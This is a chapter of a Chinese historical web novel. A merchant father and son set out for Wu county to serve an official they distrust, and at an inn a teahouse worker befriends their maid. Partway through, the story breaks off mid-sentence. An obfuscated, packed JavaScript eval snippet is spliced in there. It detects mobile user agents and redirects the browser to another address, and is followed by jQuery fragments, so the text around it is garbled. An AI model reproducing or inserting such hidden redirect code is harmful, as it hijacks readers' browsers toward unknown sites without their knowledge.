20. 鲤鱼话(五)

一同从外面回来后,万哲与万勉就匆忙收拾起了物件。


方澈见状很是疑惑,即使万勉令他一同帮忙收拾行囊,他一边叠着衣物,一边发问:“阿勉,你这是作甚?”


可万勉依旧没有停手,一边清点着物件,一边将方才发生的一切向他一一道来。


没承想,方澈听罢大惊失色,急忙扔下手中刚叠好的衣衫,紧紧抓住万勉的肩头:“阿勉,万不可这么答应他啊!虽说我是个粗人不懂这些,但这天上掉馅饼的买卖,绝不是好事!”


方澈都知道其间有诈,万勉能不懂吗?


可他依然选择走上这条路,哪怕是赌一把。


“我知道这绝非好事。”万勉接过方澈手中的衣物,自行叠了起来,“可富贵险中求,没准经此一遭,确也能得个机会。”


“可……可这风险太大了!很容易就会人财两空的。”


“不会,大不了到时候把王大人供出来,来个鱼死网破。”


方澈每说一句,万勉便回嘴一句,总而言之,就是铁了心要走这条不归路。


来来回回劝了半天,见万勉始终犟嘴,方澈也不知该说些什么了,径直撂下一句:“不行,还是保险一点吧,别接这活儿了。”


“我就是要去!”万勉猛地扯落方澈的手,额上的青筋迸出,每一根都写着他的不满,“我们已经没路可走了阿澈,你猜我为何要去工坊帮工?就是因为工坊里只剩几个上了年纪的老木匠,其他人都跑了啊!你也清楚我家现在的情况,你真以为孙大人给的那些银两可以养活我们一辈子吗?那点银两,给匠人们发了工钱,便所剩无几了啊!”


顿时,万勉的嘶吼将他们的争吵打破,一声无名碎裂声后,二人只见唯余静默。


方澈心头一酸,苦口婆心道:“阿勉,只要我们过得再节俭一点,之后的日子是可以过的……”


“有钱为何不赚?我又不是生来就该过苦日子的。”


万勉的凉薄即刻唬住了方澈。


这是这些年来,他第一次失态,方澈明白他的心情,却无法理解。


“阿澈,你还不明白吗?我们……我们只能走这条道了,兴许……兴许我们把事情做好便可以瞒天过海了呢?等期限一到我们就不干了,我就另起门户安心过日子,那时我们就可以全身而退了,远离世俗远离官场,嗯?”


方澈瞧着眼前的这位从小到大的玩伴,他的眸子里透出深切的恐惧,方澈也当即清楚了他的无奈,却也可悲地对此毫无计策。


翌日,王互如约派了人来,请万哲动身前往芜县。


为此,万哲遣散了身边的小厮及丫鬟,万勉则只留下了方澈与方静玗二人。


父子二人站在门前,对这条道路仍是一无所知。


但充满未知的路子,同时也充满着诱惑。


他们眼睁睁地,看着这个住了几十年的老宅子被合上门来,心脏的跃动随着木门上的铜锁被扣上的响声,偶然漏了一拍。


骏马被缰绳催着上了路,踏起一路烟尘。


此去路途遥远,穿越南北,途径各地,这不,赶了半日路程,天公便下起了雨来,淅淅沥沥打在叶上,敲打出动听的雨曲。


马夫只能带上斗笠、披上蓑衣,在雨中极力控着缰绳。


车内,万哲坐在万勉身侧,平日里极其相亲的父子却在此刻被噎住了喉咙。


“爹,到了芜县以后你可以什么打算?”万勉的一声问话打破了凝重的气氛。


万哲正了正身子,仰起头合上双眼答道:“走一步算一步。”


“您真的觉得此事是良机吗?我并不认为王大人给我们这毫无交情的父子机会,是真的看中万家生意。”


“看来你是有所预料的。”


万哲在万勉的细语中睁开了眼,扭头看向万勉的眼睛。


“我们此行必是存有莫大的危险,或是要替王大人担下祸事,但究竟是何事尚且未知。”


“那既然您都知道是要去做替罪羊,您还要去?”


“去啊,必须要去啊……”万哲眼中的坚定在一瞬之间转成了无奈,“阶层是死的,我们商户科考之路受阻,只能依附权贵。”


“勉儿,你不懂这其中难处,但你可以细想一下,在天陵待着,我们撑不起家族事业,到芜县去,既能敛财又能有权贵作靠山,虽说危险,却也是机遇。”


万勉不知如何接话。


“商人,就同我们家中那方池子里的鲤鱼一般,它们不知自己是否饥饿,只会把眼前所有鱼食一并吞入肚中,主人家投多少,它们便吃多少,最后耐不住贪欲,越吃越多越吃越多,直至爆肚而亡……”


万哲轻叹一口气,再度面向万勉,眉头微蹙:“我们的命,不也是这样吗?王大人是主人家,而我们则是池中乞食的鱼……”


不知是被风雨掀起的闪烁车帘在作衬,还是雨日的微光透进车内,万哲的眼神泛起斑驳的白光,半遮的瞳仁道出无尽的怅惘。


随着马蹄踏入一个又一个泥坑,激起一阵阵水花,马夫这才意识到这雨下得过大了。


他便拉了绳,掀开帘帐冲万哲说道:“老爷,这雨下得太大了些,正巧这天色也晚了,我们要不找个客栈住下,明日再赶路也成。”


万哲听此,缓缓探出头来往外一瞧。


雨点已经将周围的景色蒙上一层雾白,落在车轮上沙沙作响。


见此,万哲也就答应了下来,依着马夫的意思找家客栈过了这一宿。


简单吃过晚饭,万哲和万勉也洗漱完毕睡下了。


然而即便在客栈,方澈和方静玗仍好生服侍着他俩。


待万勉睡下,方静玗帮他掖了掖被角,在只有他二人的厢房里,忍不住多看了他几眼,之后才轻手轻脚地端着面盆,悄悄为其合上了房门。


可当她刚路过走廊转角,却直直撞上了不知何时出现的萧霖,将盆中的水洒了她一身。


方静玗慌了神,赶忙跪下拿自己的衣服给她擦拭,嘴里不住念叨“对不住小姐,对不住小姐”。


萧霖心善,实在见不得别人对她卑躬屈膝。


于是在方静玗蹲下的同时,她也俯下身子去将其扶起,连连安抚:“没事的,没事的。”


实际上,萧霖绝非偶然出现。


在跟着万家马车走了一路后,她看见万家父子驾车离了大道,于是就求着楚陌跟上去,顺道在这客栈歇一晚。


楚陌本还在思忖,却被随之而来的穆宥打乱了思绪。


“楚老板楚老板,求您了嘛!”穆宥甩动双臂,夹住嗓子撒娇恳求。


受不住他这恶心作态,楚陌也便松了口。


此后,萧霖就一直蹲在角落里,注视万勉的一举一动,候着机会,看何时能同他搭上话去。


可谁知,没等来万勉,反是遇上了方静玗。


她扶着方静玗的手肘,叫她的腕部露了出来。


微弱的烛光下,萧霖无意瞥见她手腕上被蚊虫咬出的几个红包。


思索一番,她从腰间解下了一个精致的小球,递到了方静玗跟前。


“这是驱蚊球,我老板送的,我本来就不是很招虫子,但看你体质挺招蚊虫的,应该比我更需要它。”


“不可不可万万不可!”方静玗赶忙将萧霖的手推开,满脸都写着慌张,“本就是我打湿了小姐您的衣物,怎么还恬不知耻地收您的礼呢?这不合情理啊!”


“我不是小姐,我就是一跑堂的。”萧霖连连摆手解释道,“况且,一来我这衣服本来就要洗了,你这泼我一身水还帮我消暑了;二来这小球花了银两却派不上用场,在我这儿也可惜,倒不如给需要的人。”


方静玗被


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223763|164571||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


萧霖的言辞说得站在一旁愣愣的。


见她还是不愿接下,萧霖轻叹一声,硬是将那小球塞到了方静玗手中去。


方静玗一时语无伦次,只好赶紧将驱蚊球收好,随后搭话道:“小姐这可是在赶路?”


萧霖点了点头。


“那你要去何处?”


萧霖瘪了瘪嘴,望向方静玗扑朔的眼睛,双唇微张,吐出两字——芜县。


方静玗听后,神情舒坦了许多:“我们也要去芜县。”


“这么巧?”萧霖也学着楚陌平日里的姿态,装模做样起来,“我叫萧霖,很高兴能认识你。”


“我叫方静玗。”


“那……芜县再见咯?要是遇见了难事,一定要来找我哦!我就在留襄居里帮工,一间茶舍。”


“好!等到了芜县,我一定请小姐吃饭。”


话音刚落,两人伸出小指拉了个勾,定下了约定。


此后,萧霖便和方静玗作了别。


多亏萧霖给的驱蚊球,那晚,方家兄妹不仅得了一场酣眠,他们简陋的衣物上,还染上了驱蚊球的熏香。


进了房的萧霖再难克制猛跳的心脏,直接靠在门扉上,让自己歇了会儿。


哪怕相识了十余年,穆宥还是会在见到萧霖鼓起的腮帮时,心中泛起蜜意。


他忍不住打趣一声:“不就是去打个招呼,也能紧张成这样?”


萧霖没做声。


“话说,”穆宥没得到萧霖的捧场,便转头面向楚陌,“还以为这次能在京城多待会儿,这下又出了远门。”


“天高皇帝远,只有离了京,才好做坏事啊。”


穆宥“切”了一声,转而又给萧霖扑棱起竹扇来。


得了丝丝凉意,萧霖也才稍稍缓了过来。


她看了眼穆宥,又看了眼楚陌,心中疑虑骤生。


其实,她早就想问了——关于楚陌的事情。


明明说是让他们改写故事,故事的主角的确是别人,但他又好像也是故事中的角色。


茶舍老板?还是朝中官员?又或者他会仙术,其实是个神仙?


越是细究,她心中越是恐惧。


但不去细究,她又惴惴不安。


于是,萧霖迈出右脚,向侧边挪了一步,问出了自己心底的惑事:“楚老板……你究竟是谁?又或者,你是什么东西?”


楚陌一言不发,转身避开他俩,寻了一把椅子坐下,再从袖袋中掏出一本话本便开始读了起来。


虽未得到答复,萧霖仍不愿就此善罢甘休,她继续追问道:“你是神是人?”


穆宥显然被萧霖的这一连串的问题给骇住了。


但与此同时,他也在等待着楚陌的回答。


“还有上次在云翀的时候,你是不是在街上看见了什么东西?或者是什么人?你明明平时都摆出一副对一切了如指掌的样子,却在那时会愣住?”


楚陌听后停住了正在翻页的手,滞在原地。


萧霖洞隐烛微,不放过丝毫线索,穆宥怔然四顾,先望向萧霖,转而又盯住楚陌。


随后,楚陌在两人炯炯凝视中仰起了头来,让他漠然却凄切的目光迎了上来。


那一刻,周遭嘈杂顿时消散,夜里的虫鸣与店外湖水水面上,被晚风掀起的涟漪和鸣。


可这份静谧却很难让人心安。


楚陌望着二人的眸子,眼睫却低了一寸,悠悠吸气一口,低声道:“我……在十几年前那场血洗朝廷的党派之争中……便已是个死人了……”


正是这样一句话,将站在原地的穆宥和萧霖彻底骇住。


寂静的夜里,雨还在肆无忌惮地下着。


好似这雨声清除了一切杂音,让世界变得尤其清幽;可又好似这雨声便是一切杂音,悄悄盖住了世上所有丑陋的声响。